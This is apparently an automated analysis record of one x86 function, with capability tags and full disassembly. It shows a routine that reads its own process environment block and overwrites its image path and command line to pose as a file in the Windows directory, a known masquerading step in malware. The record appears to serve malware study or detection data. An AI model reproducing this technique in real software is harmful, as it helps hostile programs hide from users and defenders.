Function at 0x409470
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Get common file path
Patch process command line

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x65c
push ebx
push esi
push edi
mov edi, dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
push 0x402490
push 0x4024ac
call edi
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call esi
push 0x4024c0
push 0x4024ac
mov dword [ebp - 8], eax
call edi
push eax
call esi
push 0x4024d8
push 0x4024ac
mov dword [ebp - 0x10], eax
call edi
push eax
call esi
push 0x4024f0
push 0x4024ac
mov dword [ebp - 0x18], eax
call edi
push eax
call esi
mov edi, dword [ebp - 8]
mov ebx, eax
mov dword [ebp - 0x20], ebx
test edi, edi
je 0x409699
cmp dword [ebp - 0x10], 0
je 0x409699
cmp dword [ebp - 0x18], 0
je 0x409699
test ebx, ebx
je 0x409699
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
push eax
push 0
push 0x438
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov esi, eax
cmp esi, 0xffffffff
je 0x409699
push 0
push 0x18
lea eax, [ebp - 0x38]
push eax
push 0
push esi
call edi
mov edi, dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
lea eax, [ebp - 4]
push 0
push 4
push eax
lea eax, [ebp - 0x34]
push eax
push esi
call edi
test eax, eax
je 0x409699
push 0
push 4
lea eax, [ebp - 0x1c]
push eax
mov eax, dword [ebp - 4]
add eax, 0xc
push eax
push esi
call edi
test eax, eax
je 0x409699
push 0x104
lea eax, [ebp - 0x248]
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryW]
push 0x105
push 0x402508
lea eax, [ebp - 0x248]
push eax
call dword [sym.imp.SHLWAPI.dll_StrNCatW]
push 4
push 0x3000
push 0x1000
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
lea ecx, [ebp - 0x248]
mov dword [ebp - 8], eax
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
mov ecx, dword [ebp - 4]
push dword [ecx + 0x1c]
call dword [ebp - 0x10]
mov eax, dword [ebp - 4]
push dword [ebp - 8]
mov eax, dword [eax + 0x10]
add eax, 0x38
push eax
call ebx
mov eax, dword [ebp - 4]
push 0x402524
mov eax, dword [eax + 0x10]
add eax, 0x40
push eax
call ebx
push 0x104
lea eax, [ebp - 0x658]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0xc]
mov ebx, dword [eax + 0xc]
mov eax, dword [ebp - 0x1c]
mov eax, dword [eax + 0xc]
mov dword [ebp - 0x14], eax
nop dword [eax]
push 0
push 4
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 0x14]
push eax
push esi
call edi
test eax, eax
je 0x409699
mov ecx, dword [ebp - 0xc]
push 0
movzx eax, word [ecx + 0x26]
push eax
lea eax, [ebp - 0x450]
push eax
push dword [ecx + 0x28]
push esi
call edi
test eax, eax
je 0x409699
mov ecx, dword [ebp - 0xc]
mov edx, dword [ebp - 4]
mov eax, dword [ecx + 0x18]
cmp eax, dword [edx + 8]
je 0x40964b
mov eax, dword [ecx]
mov dword [ebp - 0x14], eax
cmp eax, ebx
jne 0x409600
jmp 0x409668
push dword [ebp - 8]
mov edi, dword [ebp - 0x20]
lea eax, [ecx + 0x24]
push eax
call edi
mov eax, dword [ebp - 0xc]
push 0x402524
add eax, 0x2c
push eax
call edi
mov edx, dword [ebp - 4]
push dword [edx + 0x1c]
call dword [ebp - 0x18]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea eax, [ebp - 0x450]
push eax
lea eax, [ebp - 0x248]
push eax
call dword [sym.imp.SHLWAPI.dll_StrCmpIW]
test eax, eax
je 0x409699
mov eax, 1
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret